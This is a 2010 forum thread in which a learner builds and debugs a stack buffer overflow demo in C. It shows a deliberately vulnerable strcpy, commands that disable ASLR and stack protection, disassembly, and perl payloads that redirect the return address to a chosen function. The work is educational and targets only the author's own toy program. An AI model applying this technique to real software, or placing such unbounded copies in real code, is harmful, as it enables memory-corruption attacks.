Page 1 of 2

bufferoverflow ????

Posted: Sun Jun 06, 2010 7:16 pm
by Sam111
OK , I am still not successful in setting up my buffer overflow demo.

this is exploit.c

Code: Select all

#include <stdio.h>
#include <string.h>


void bufferoverflow( char * ) ;
void printitifyoucan() ;

int main(int argc, char** argv) {

    bufferoverflow( argv[0]) ;
    printf("got to end of program?") ;
    return 0;
}

void bufferoverflow( char *str)
{
    printf("Got here!") ;
    char buffer[20] ;
    strcpy(buffer,str) ;
    return ;
}

void printitifyoucan()
{
printf("exploit has occured" ) ;
}


I am trying to pass ./exploit something that will return it to printitifyoucan() which should print the message "exploit has occured"

What I have done is
turn off randomization

Code: Select all

 sysctl -w kernel.randomize_va_space=0
compile/link exploit.c

Code: Select all

gcc -fno-stack-protector -z execstack -c exploit.c
gcc -fno-stack-protector -z execstack -o exploit exploit.o
then used objdump to find the printitifyoucan() function by disassembling

Code: Select all

objdump -d exploit
which gives

Code: Select all

....
08048465 <printitifyoucan>:
 8048465:	55                   	push   %ebp
 8048466:	89 e5                	mov    %esp,%ebp
 8048468:	83 ec 18             	sub    $0x18,%esp
 804846b:	b8 61 85 04 08       	mov    $0x8048561,%eax
 8048470:	89 04 24             	mov    %eax,(%esp)
 8048473:	e8 d8 fe ff ff       	call   8048350 <printf@plt>
 8048478:	c9                   	leave  
 8048479:	c3                   	ret    
 804847a:	90                   	nop
 804847b:	90                   	nop
 804847c:	90                   	nop
 804847d:	90                   	nop
 804847e:	90                   	nop
 804847f:	90                   	nop
....
so the stack must be overflowed so as to have the return address be 08048465 so it will return to the printitifyoucan()

However no matter what string I give it it just returns fine and displays the two strings
Got here!got to end of program? but it doesn't display mine let alone crash at all (no segment fault or nothing ????)

I have been using stuff like perl to pass larger strings to ./exploit but no combo works ?

Code: Select all

./exploit `perl -e 'print "\x65\x84\x04\x08" x 202;' ` 

I can add some NOP \x90 to it if it is a shifting issue... not I am not trying to execute shellcode just overflow the return address so I can see it print my exploit message ....etc

Anybody see something I am overlooking (maybe I forgot to turn something else off with secuity in gcc that I am not aware of? )

I am pretty sure the address needs to be in little endian form. I am on ubuntu intel x86 machine.

Thanks for any help I would really like this to work.

Re: bufferoverflow ????

Posted: Sun Jun 06, 2010 7:55 pm
by gerryg400
What is argv[0] ?

Re: bufferoverflow ????

Posted: Mon Jun 07, 2010 12:54 pm
by Sam111
Damn your absolutely correct! arg[0] = the programs name = ./exploit , arg[1] = the input string
So all I had to do to get it to work is to change the arg[0] to arg[1]

Just got my first bufferoverflow to work coooooooooool!!!! (only took me about a 10 year period to understand these damn things)

The input string was

Code: Select all

./exploit `perl -e 'print "\x74\x84\x04\x08" x 100;' `
the address of printitifyoucan() changed when I recompiled so I have to use 0x08048474 now no big deal though
But if anybody is following along....

I have noticed that I have to put the address on the stack 62 times before it does the overflow I can probably exactly figure out why when looking at the disassembled program with objdump and counting variables ,stack frames ,..etc
but normally it is easier to just try random numbers and use sort of a binary search technique...etc
The output is this

Code: Select all

./exploit `perl -e 'print "\x74\x84\x04\x08" x 62;' `
Got here!exploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit Segmentation fault
Interesting it called my printitifyoucan around 50 something times probably because I overflowed everything after the return address with the same address.. so it uses these as the next , and next ,...etc return address's.
For me to only call the printitifyoucan function once I could flood it with NOP or any other bytes until I get to the exact location of the return address where I want it ONCE on the stack. Then it should call the function once before segmentation fault occurs.

But what happens if I wanted to call my printitifyoucan function and then return to the next line in main. (SO I Don't segment fault after I call the exploited printitifyoucan function. ) Would all I have to do is make sure next return address i.e the one that printitifyoucan returns to is the address in main where I want the next instruction to be executed at?

For instance objdump gives

Code: Select all

....
08048414 <main>:
 8048414:	55                   	push   ebp
 8048415:	89 e5                	mov    ebp,esp
 8048417:	83 e4 f0             	and    esp,0xfffffff0
 804841a:	83 ec 10             	sub    esp,0x10
 804841d:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
 8048420:	83 c0 04             	add    eax,0x4
 8048423:	8b 00                	mov    eax,DWORD PTR [eax]
 8048425:	89 04 24             	mov    DWORD PTR [esp],eax
 8048428:	e8 20 00 00 00       	call   804844d <bufferoverflow>
 804842d:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
 8048430:	83 c0 04             	add    eax,0x4
 8048433:	8b 10                	mov    edx,DWORD PTR [eax]
 8048435:	b8 50 85 04 08       	mov    eax,0x8048550
 804843a:	89 54 24 04          	mov    DWORD PTR [esp+0x4],edx
 804843e:	89 04 24             	mov    DWORD PTR [esp],eax
 8048441:	e8 0a ff ff ff       	call   8048350 <printf@plt>
 8048446:	b8 00 00 00 00       	mov    eax,0x0
 804844b:	c9                   	leave  
 804844c:	c3                   	ret    

0804844d <bufferoverflow>:
 804844d:	55                   	push   ebp
 804844e:	89 e5                	mov    ebp,esp
 8048450:	83 ec 38             	sub    esp,0x38
 8048453:	b8 69 85 04 08       	mov    eax,0x8048569
 8048458:	89 04 24             	mov    DWORD PTR [esp],eax
 804845b:	e8 f0 fe ff ff       	call   8048350 <printf@plt>
 8048460:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
 8048463:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 8048467:	8d 45 e4             	lea    eax,[ebp-0x1c]
 804846a:	89 04 24             	mov    DWORD PTR [esp],eax
 804846d:	e8 ce fe ff ff       	call   8048340 <strcpy@plt>
 8048472:	c9                   	leave  
 8048473:	c3                   	ret    

08048474 <printitifyoucan>:
 8048474:	55                   	push   ebp
 8048475:	89 e5                	mov    ebp,esp
 8048477:	83 ec 18             	sub    esp,0x18
 804847a:	b8 73 85 04 08       	mov    eax,0x8048573
 804847f:	89 04 24             	mov    DWORD PTR [esp],eax
 8048482:	e8 c9 fe ff ff       	call   8048350 <printf@plt>
 8048487:	c9                   	leave  
 8048488:	c3                   	ret    
 8048489:	90                   	nop
 804848a:	90                   	nop
 804848b:	90                   	nop
 804848c:	90                   	nop
 804848d:	90                   	nop
 804848e:	90                   	nop
 804848f:	90                   	nop

....

The last thing that was executed in main before the bufferoverflow was "call bufferoverflow" then bufferoverflow function was executed, my string of address overflowed the return address of bufferoverflow to return to my printitifyoucan function,.... but returning from my printitifyoucan function I should return it to the instruction in main right below call bufferoverflow to execute the last of the main and not to segment fault.

The only thing I am wondering about is if I overflowed to much of the stack won't a segment fault occur when ret is executed at the end of main?

i.e

Code: Select all

 8048428:	e8 20 00 00 00       	call   804844d <bufferoverflow>
 804842d:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
 8048430:	83 c0 04             	add    eax,0x4
 8048433:	8b 10                	mov    edx,DWORD PTR [eax]
 8048435:	b8 50 85 04 08       	mov    eax,0x8048550
 804843a:	89 54 24 04          	mov    DWORD PTR [esp+0x4],edx
 804843e:	89 04 24             	mov    DWORD PTR [esp],eax
 8048441:	e8 0a ff ff ff       	call   8048350 <printf@plt>
 8048446:	b8 00 00 00 00       	mov    eax,0x0
 804844b:	c9                   	leave  
 804844c:	c3                   	ret    
To me after my exploit occured to get the program to run and finish as normal I would need to return from my printitifyoucan to address 804842d.

Any objections in my reasoning?

Also one other thing that is bugging me is if I put 62 , or 100 , or 300 or whatever times the address back to back on the stack it always seems execute my printitifyoucan function a little under that number? I was thinking if I overflowed it back to back 62 ,100,200,...etc times it would keep returning me to my function 62,100,200 times but this is not the case it falls short a few by counting the outputs printed lines. Their is nothing else being pushed on the stack with this function since it takes no parameters.... so maybe it is some shift in address issue or something.... anyway a little odd but other then that I completely understand how to do it.

awesome

Thanks for the help
stupid me

Re: bufferoverflow ????

Posted: Mon Jun 07, 2010 7:13 pm
by Sam111
Ok , I have been trying to figure out away so that when I send my exploit string to my exploit.exe code it will just go thur
the printitifyoucan() function once then segment fault .

I have tried

Code: Select all

./exploit `perl -e 'print "\x68\x84\x04\x08"x62 ;'
which gives me

Code: Select all

Got here!exploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit has occuredexploit Segmentation fault
when I try x 61 or lower for the number of times
I get just segmentation fault being displayed?

This means if I pushed "AAAA" x 61 (or any other 4 byte string) and then the address \x68\x84\x04\x08 once it should execute my function once...
Well I must be wrong because it just segment faults?

Does anybody know what is going wrong?

Re: bufferoverflow ????

Posted: Tue Jun 08, 2010 5:40 pm
by Gigasoft
This probably has to do with buffering done by the C library. The C library only issues a write system call every so often, and when the program crashes, there may be characters that have been stored, but not written to the display yet.

Re: bufferoverflow ????

Posted: Tue Jun 08, 2010 9:09 pm
by Sam111
This probably has to do with buffering done by the C library. The C library only issues a write system call every so often, and when the program crashes, there may be characters that have been stored, but not written to the display yet.
care to elaborate?

I would think if x 62 made the overflow and x61 made the segmentation fault.

Then putting 4 * 61 random characters on the stack then the return address once after that.
It should then execute my printitifyoucan() once before segment faulting????

But it doesn't.
How is this anything to do with the write system call's?

The overflow is from overflowing the return address of bufferoverflow that was pushed on the stack before buffer[20] then the call to strcpy makes it so we can overflow the buffer[20] enough to change that return address.

so this is what I think the stack should be like
.... stack
return address to overflow (i.e bufferoverflow back to main return address)
maybe some stack frame ebp stuff
buffer[20]
2 parameter address for string strcpy push from right to left cdecl convention
strcpy return address back to bufferoverflow
....

going by this 4bytes + 4bytes + 20bytes + 8bytes + 4bytes = 40byte approximately away from it
Maybe I am forgetting a few other ebp pushes but it is not to far from 62bytes I can buy it.

So it should be a fix distance away from the buffer[20] everytime on the stack why would it be anything different each execution does the same exact thing ???
I guess I am not understanding why or what is not correct with my reasoning?


Also is their away to view the entire stack with gdb ? <--so I can watch to see what is going wrong... or what the whole stack has in it???

Thanks for any help.

Re: bufferoverflow ????

Posted: Thu Jun 10, 2010 7:28 am
by Gigasoft
The answer is that the program goes through printitifyoucan a lot of times without printing anything because the output from printf("exploit has occured" ) is buffered. After a fixed number of characters have been stored, the entire buffer is written to the screen.

Re: bufferoverflow ????

Posted: Thu Jun 10, 2010 10:59 am
by Sam111
The answer is that the program goes through printitifyoucan a lot of times without printing anything because the output from printf("exploit has occured" ) is buffered. After a fixed number of characters have been stored, the entire buffer is written to the screen.
Ok, but if the "exploit has occured" string is pushed on the stack this occurs at a lower stack address then all the rest of the
pushed return address. So I would think this won't effect anything.

Since after you jump into the printitifyoucan function. I would think it would just push the address of the string "exploit has occured" then the return address back to printitifyoucan then it jumps to printf which prints the string and returns back to printitifyoucan???
How is this messing anything up or not printing nothing ?

unless somehow I am overwritting the string "exploit has occured" before printf prints it. But I would think this is on the heap or .rodata section not physically placed on the stack. Unless they consider this string a local variable?
And I would think printf one parameter would be the address of the string.

Please clarify where my understanding is failing ?

I just cann't see the problem

Re: bufferoverflow ????

Posted: Thu Jun 10, 2010 1:07 pm
by Gigasoft
No, I'm saying that printf doesn't print the string right away. It stores the characters in a buffer, and only prints the stored characters once it has a certain number of characters (which happens after a certain number of invocations of printf). If the program crashes before the required amount of characters have been stored, the pending characters won't get a chance to be printed. You can see that when it crashes, it is halfway through printing one of the strings, with the remaining characters again being stored until enough characters are accumulated that it will print them. It does this because it's faster to print a lot of characters at once rather than one at a time.

Re: bufferoverflow ????

Posted: Fri Jun 11, 2010 11:13 am
by Sam111
printf buffers ???
Then where is it putting this buffer is it on the stack or heap or .rodata ,...etc
And for printf when you pass it a string as a parameter does this string get put on the stack or does it's address?
I believe string arguments , structs, classes , and array's get passed by reference correct me if I am wrong?

So when calling printf the only parameter pushed is the string address which is 4 bytes long.

Either way I believe you some kind of buffering is involved screwing things up.
My problem is I don't get this buffering and how it works/is useful

if the string is stored in a section like the .data , or .rodata then passing printf the address of it in memory is all that is needed to obtain the entire string so I don't see the point of buffering it will always have the complete string at any given time. By having it's starting address. Unless printf is doing something completely different then I have to ask what and why?

Buffering seems pointless if you have the address where the complete string is.
And I would think once the printf function returns from printing it's string it should have printed the complete string...
But that is not the case by my output.

Forgetting for a moment if I see anything on the screen

Code: Select all

./exploit `perl -e 'print "AAAA"x61 ."\x68\x84\x04\x08" ;' `
regardless if I see my printf strings being displayed on the screen the above code is doing what I want it to do which is call the printitifyoucan() once and then segment faulting. Correct me if I am wrong.

Maybe their is away to verify this using gdb or something I will look more into this

Thanks for your help

Re: bufferoverflow ????

Posted: Fri Jun 11, 2010 12:14 pm
by Gigasoft
Well, I don't know where it stores the output, since that's something which can differ between C library implementations. There is a good reason for it to do this, because issuing a separate system call for every character or every invocation of printf would be a waste of time. It's faster to save the output somewhere and only pass it to the system once it has accumulated a fair amount of characters. This way, any operations involved into printing to the screen which take a constant amount of time every time will only need to happen once in a while. So, when you call printf you won't see the output immediately.

You can force the C library to print any pending characters on the screen by calling fflush(stdout) or flushall(). The flushall function is also invoked by the exit function and by the code that runs after the main function returns.

Re: bufferoverflow ????

Posted: Fri Jun 11, 2010 1:08 pm
by Sam111
well,
I have tried flushall ,fflush ,...etc and none of them allow me to see if I am just calling the function once.

Code: Select all

void printitifyoucan()
{
fflush(NULL);
printf("exploit has occured" ) ;
fflush(NULL);
}
Either way I just want away of checking if my function is being called once when I do

Code: Select all

./exploit `perl -e 'print "AAAA"x61 ."\x68\x84\x04\x08" ;' `
and about 62 times when I do..

Code: Select all

./exploit `perl -e 'print "\x68\x84\x04\x08"x62;' `


I am think about using gdb but I don't know if their is away to display the entire stack at a given time/instruction as I step thru the code?

Thanks for any help just need away of verifying that the code is doing what I think it is doing even if I cann't use printf because of buffering issues.

Re: bufferoverflow ????

Posted: Fri Jun 11, 2010 1:44 pm
by Gigasoft
Well, fflush(NULL) obviously won't do anything, but flushall should have worked.

This should display the output immediately, since no buffering is involved.

Code: Select all

write(1,"exploit has occurred",20);

Re: bufferoverflow ????

Posted: Fri Jun 11, 2010 7:39 pm
by Sam111
Well the write command works.

I have

Code: Select all

 ./exploit `perl -e 'print "AAAA"x8 . "\x9b\x84\x04\x08"x1 ;' ` 
this display's

Code: Select all

exploit has occurredSegmentation fault
when I put "\x9b\x84\x04\x08"x1 or "\x9b\x84\x04\x08"x2 or "\x9b\x84\x04\x08"x3 ,...etc I get "exploit has occurred" being displayed 1 , 2 , 3 ,...etc times meaning it is calling the function as many times as a want.... exactly how I imagined it.

This verifies part of it
So in this program the return address is always 4 * 8 = 32 bytes away on the stack which makes some sense.
Since you have the 20bytes buffer + ( stack frame stuff push ebp ,..etc) = 32bytes before the return address.
So 3 other 4byte things are pushed on the stack between the buffer[20] and return address.
That sounds more plausible.

Trying to figure out exactly what those 3 other things are

Code: Select all

08048481 <bufferoverflow>:
 8048481:	55                   	push   ebp
 8048482:	89 e5                	mov    ebp,esp
 8048484:	83 ec 38             	sub    esp,0x38
 8048487:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
 804848a:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 804848e:	8d 45 e4             	lea    eax,[ebp-0x1c]
 8048491:	89 04 24             	mov    DWORD PTR [esp],eax
 8048494:	e8 db fe ff ff       	call   8048374 <strcpy@plt>
 8048499:	c9                   	leave  
 804849a:	c3                   	ret    


Ok , when main calls bufferoverflow it pushes the return address on the stack then jumps to bufferoverflow
From the above function I get 4 bytes for the push ebp on the stack.
But I don't see 20 pushes for all the buffer[20] characters nor do I see a sub esp , 0x14 for it (which ever way they are doing it)

I am just not fully understanding what the asm is doing it is not

I do see

Code: Select all

804849b:	8d 45 e4             	lea    eax,[ebp-0x1c]
which that is ebp - 28 but I don't see where they pushed the characters of buffer between ebp and ebp - 28 .
Also what are the other 8 bytes being pushed ???

If I knew this then ebp - 28 + the 4byte push ebp statement = the exact offset of the return address.

These statements make me wonder

Code: Select all

8048484:	83 ec 38             	sub    esp,0x38
 8048487:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
 804848a:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
seems like now the stack pointer would be 56 characters away from the push ebp but then the offset should be 56 + 4 = 60bytes away. Confused.
Seems like the above 3 statements move the esp to point 56 bytes away from the last push item on the stack which is ebp. Then [ebp+0x8] is the address of char * str the address which is the parameter to bufferoverflow. So the next 2 moves just move this address into [esp+0x4]

Why [esp + 0x4] ???

I am little lost on the code ... but it works like I was think ....thanks to write( ... )

Thank you so much

The new exploit program is this

Code: Select all


#include <stdio.h>
#include <string.h>
/*
 * 
 */
// function prototypes 
void bufferoverflow( char * ) ;
void printitifyoucan() ;

int main(int argc, char** argv) {

    bufferoverflow( argv[1]) ;
    printf("got to end of program?") ;
    return 0;
}

void bufferoverflow( char *str)
{
    char buffer[20] ;
    strcpy(buffer,str) ;
    return ;
}

void printitifyoucan()
{
write(1,"exploit has occurred",20);
}

Re: bufferoverflow ????

Posted: Fri Jun 11, 2010 9:14 pm
by Gigasoft
[esp] will point to the buffer at ebp-28 (which is esp+28), and [esp+4] will point to the source. These are the parameters to strcpy. GCC just uses mov instructions instead of push, the effect is the same. I don't know why it allocates more bytes than necessary, but it could be that GCC tries to make stack frames aligned in multiples of 32 or 64 bytes. With the saved ebp and the return address, it makes 64 bytes.